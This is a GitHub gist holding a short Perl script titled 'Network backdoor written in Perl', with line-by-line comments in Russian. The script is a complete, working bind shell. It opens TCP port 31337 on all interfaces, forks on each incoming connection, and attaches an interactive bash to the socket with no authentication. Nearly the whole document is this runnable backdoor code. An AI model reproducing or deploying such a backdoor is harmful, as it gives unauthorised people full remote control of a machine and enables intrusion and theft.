Created
February 5, 2017 23:14
-
-
Save koorchik/4e2e39c2c8c61954c14c6ca8b1de8c85 to your computer and use it in GitHub Desktop.
Network backdoor written in Perl
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
$SHELL="/bin/bash -i"; ## Будем использовать интерактивный bash в качестве шелла | |
$LISTEN_PORT="31337"; ## Выбираем порт 31337 для бэкдора | |
use Socket; ## Используем модуль Socket | |
$protocol=getprotobyname('tcp'); ### Протокол - TCP | |
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n"; ### Пытаемся создать сокет-дескриптор либо завершаем скрипт с сообщением об ошибке. | |
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); ## Заставляем сокет поддерживать REUSE - возможность многоразового использования порта | |
bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n"; ## Биндим порт на все адреса машины либо сообщаем об ошибке | |
listen (S,3) || die "Cant listen port\n"; ## Ждем коннектов на порт | |
while(1){ | |
accept (CONN,S); ## При подключении создаем дескриптор с именем CONN | |
if(! ($pid=fork)) ## Делаем процесс потомок для коннекта с дескриптором CONN | |
{ | |
die "Cannot fork" if (! defined $pid); ## В случае неудачи ответвления - завершаем работу | |
open STDIN,"<&CONN"; | |
open STDOUT,">&CONN"; | |
open STDERR,">&CONN"; ## Перенаправляем STDIN, STDOUT и STDERR в клиент-терминал | |
exec $SHELL || die print CONN "Cant execute $SHELL\n"; ## Пытаемся запустить интерактивный шелл либо, в случае неудачи, завершаем скрипт | |
close CONN; ## Закрываем сокет после завершения работы шелла | |
exit 0; ## Корректно выходим, завершая потомок. | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment